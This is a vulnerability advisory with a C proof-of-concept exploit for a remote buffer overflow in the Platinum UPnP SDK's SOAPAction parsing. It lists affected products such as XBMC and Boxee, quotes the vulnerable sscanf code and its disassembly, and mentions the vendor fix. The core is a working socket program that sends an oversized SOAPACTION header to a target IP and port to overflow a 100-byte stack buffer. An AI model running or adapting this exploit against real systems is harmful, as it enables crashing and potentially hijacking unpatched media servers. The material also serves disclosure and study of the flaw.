Platinum SDK Library – POST UPnP ‘sscanf’ Buffer Overflow (PoC)
/* -POC CODE Remote Buffer Overflow - ========================================================================= ! Exploit Title: Platinum SDK library post upnp sscanf buffer overflow ! ========================================================================= Date: 28th October 2010 ----------------------- Author: n00b Realname: *carl cope* ----------------------------------- Software Link: http://www.plutinosoft.com/platinum -------------------------------------------------- Version: All versions are affected Mulitple vendors --------------------------------------------------- Tested on: Windows xp sp3,Vista sp2,Linux unbuntu --------------------------------------------------- Fixed versions :Platinum 0.6.0 ========================================================================== -Mulitple vendors soap_action_name post upnp sscanf remote buffer overflow- ========================================================================== -Description- First of all while i was testing the upnp in the xbmc application i noticed after finding the vulnerable function in the source code it was because of the Platinum UPnP SDK which was used for upnp protocol. There are more applications vulnerable to this exploit than i had first thought im not writing an exploit for them all as it would be pointless i've passed the information to the developers of platinum sdk and when they have updated so will the rest of the vendors hope fully. Any thing which uses this sdk is exploitable if you do decide to write an exploit for any of the vulnerable applications please give credits to n00b for finding the bug.!! The vendor has released a fix for this vulnerability http://kent.dl.sourceforge.net/project/platinum/platinum/0.6.1/CHANGELOG.txt I would like to thank the vendor of the sdk for taking swift action and fixing this vulnerability swiftly 10/10 for communications and working to get this issue resolved. -Description- Version 2010-07-27 Platinum-SRC-0-6-0_632 SDK This is a list of the applications that are using the platinum SDK library. -Afected applications- Asset UPnP = http://forum.dbpoweramp.com/showthread.php?t=18020 <-- Tested and is exploitable Release v.3. XBMC = http://xbmc.org/ <-- Tested and is exploitable/Exploit released. Google Simplify Media = http://www.simplifymedia.com/blog/ qvivo = http://www.qvivo.com/us/download/ doubletwist = http://www.doubletwist.com/ Boxee = http://www.boxee.tv/ BoxAmp = http://www.open7x0.org/wiki/BoxAmp Ventis Media = http://www.mediamonkey.com/ DVBSBridge = http://www.dvblogic.com/ IntelligentShare = http://www.adoubleu.de/ Easyon.tv = http://www.easyon.tv/index.php Foobar plugin foo_upnp = http://www.hydrogenaudio.org/forums/index.php?showtopic=69664 plex = http://elan.plexapp.com/ CommVault = http://www.commvault.com/ Iwedia = http://www.iwedia.com/ Mythtv = http://www.mythtv.org/wiki/UPnP Vdr-plugin-upnp = http://www.linuxtv.org/vdrwiki/index.php/Vdr-plugin-upnp Any thing that use this sdk is exploitable till the update is available. -Afected applications- -Shouts- Aluigi = Take care m8 and all the best for the future !!. Corelan = Keep up the good work thanks for the advice !!. Exploit-db = Looking good guys keep up the good work !!. XBMC-DEV = Nice work with the project looking nice !!. -Shouts- ---------- Disclaimer ---------- The information in this advisory and any of its demonstrations is provided "as is" without any warranty of any kind. I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory. Educational use only..!! */ #include <stdio.h> #include <sys/socket.h> #include <arpa/inet.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netinet/in.h> /* ''' !!IMPORTATNT!! The UUID must be set i've hardcoded this to make it easy to replace with the victim UUID you can get the UUID number from the server by issuing a get request to the vulnerable server on port 00000 you can use a web browser to do this. example = http://127.0.0.1:00000 -Note- Just a side note the port is random and once the xbmc application is installed the UUID will be set up along with the port number at installation so you will have to do a port scan to find what port the service is running on but once its found it will be on that port till it is reinstalled.Also the UUID will stay the same. Universally Unique Identifier --------------------------------------------------- XML example <UDN> uuid:0970aa46-ee68-3174-d548-44b656447658 </UDN> --------------------------------------------------- -Note- I was not going to write an xml paraser just for this when a web browser and a set of eyes can do it.:) Platinum UPnP SDK http://www.plutinosoft.com/platinum http://sourceforge.net/users/c0diq ''' */ //compiled using gcc on linux. //Cygwin on windows. void error(char *mess) { perror(mess); exit(1); } int main(int argc, char *argv[]) { int sock; int input; struct sockaddr_in http_client; char buf[2000]; unsigned int http_len; /* If there is more than 2 arguments passed print usage!!*/ if (argc != 3) { fprintf(stderr,"USAGE: Server_ip port\n"); exit(1); } /* Create socket */ if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { error("Cant create socket"); } /* Construct sockaddr */ memset(&http_client, 0, sizeof(http_client)); http_client.sin_family = AF_INET; http_client.sin_addr.s_addr = inet_addr(argv[1]); http_client.sin_port = htons(atoi(argv[2])); /* Establish connection */ if (connect(sock, (struct sockaddr *) &http_client, sizeof(http_client)) < 0) { error("Failed to connect with remote host"); } //Build the upnp equest memcpy(buf, "POST /AVTransport/ ", 18); memcpy(buf+18, "0970aa46-ee68-3174-d548-44b656447658", 36); //Replace with uuid of the vulnerable server # memcpy(buf+54, "/control.xml HTTP/1.1\r\n", 79); strcat(buf, "SOAPACTION: \x22urn:schemas-upnp-org:service:AVTransport:1#"); strcat(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAA\r\n" "CONTENT-TYPE:text/xml; charset=\x22utf-8\x22\r\n" "HOST: 192.168.1.2:26125\r\n" "Content-Length: 345"); /* Send our request to the server*/ http_len = strlen(buf); if (send(sock, buf, http_len, 0) != http_len) close(sock); exit(0); } /* -Vulnerable source code- This information was found using windows 7 + Visual c++ 2010 express. .\lib\libUPnP\Platinum\Source\Core\PltDeviceHost.cpp ---------------------------------------------------------------------- | PLT_DeviceHost::ProcessPostRequest +--------------------------------------------------------------------- NPT_Result PLT_DeviceHost::ProcessHttpPostRequest(NPT_HttpRequest& request, # const NPT_HttpRequestContext& context, # NPT_HttpResponse& response) { NPT_Result res; NPT_String service_type; NPT_String str; NPT_XmlElementNode* xml = NULL; NPT_String soap_action_header; PLT_Service* service; NPT_XmlElementNode* soap_body; NPT_XmlElementNode* soap_action; const NPT_String* attr; PLT_ActionDesc* action_desc; PLT_ActionReference action; NPT_MemoryStreamReference resp(new NPT_MemoryStream); NPT_String ip_address = context.GetRemoteAddress().GetIpAddress().ToString(); NPT_String method = request.GetMethod(); NPT_String url = request.GetUrl().ToRequestString(true); NPT_String protocol = request.GetProtocol(); if (NPT_FAILED(FindServiceByControlURL(url, service, true))) goto bad_request; if (!request.GetHeaders().GetHeaderValue("SOAPAction")) goto bad_request; extract the soap action name from the header soap_action_header = *request.GetHeaders().GetHeaderValue("SOAPAction"); soap_action_header.TrimLeft('"'); soap_action_header.TrimRight('"'); char prefix[200]; char soap_action_name[100]; <--- 100 bytes allocated for the soap action name. int ret; //FIXME: no sscanf ret = sscanf(soap_action_header, "%[^#]#%s", <--- # prefix, <--- Bad very Bad. # soap_action_name); <--- if (ret != 2) # goto bad_request; // read the xml body and parse it if (NPT_FAILED(PLT_HttpHelper::ParseBody(request, xml))) <--- BOOOM I WIN!! # goto bad_request; Disassembly of vulnerable function.!! ================================== 025D2D23 lea edx,[ebp-1F4h] 025D2D29 push edx 025D2D2A lea eax,[ebp-188h] 025D2D30 push eax 025D2D31 push 2F5E404h 025D2D36 lea ecx,[ebp-44h] 025D2D39 call NPT_String::operator char const * (1B1840Eh) 025D2D3E push eax 025D2D3F call @ILT+120575(_sscanf) (1AF7704h) 025D2D44 add esp,10h 025D2D47 mov dword ptr [ebp-1FCh],eax */ |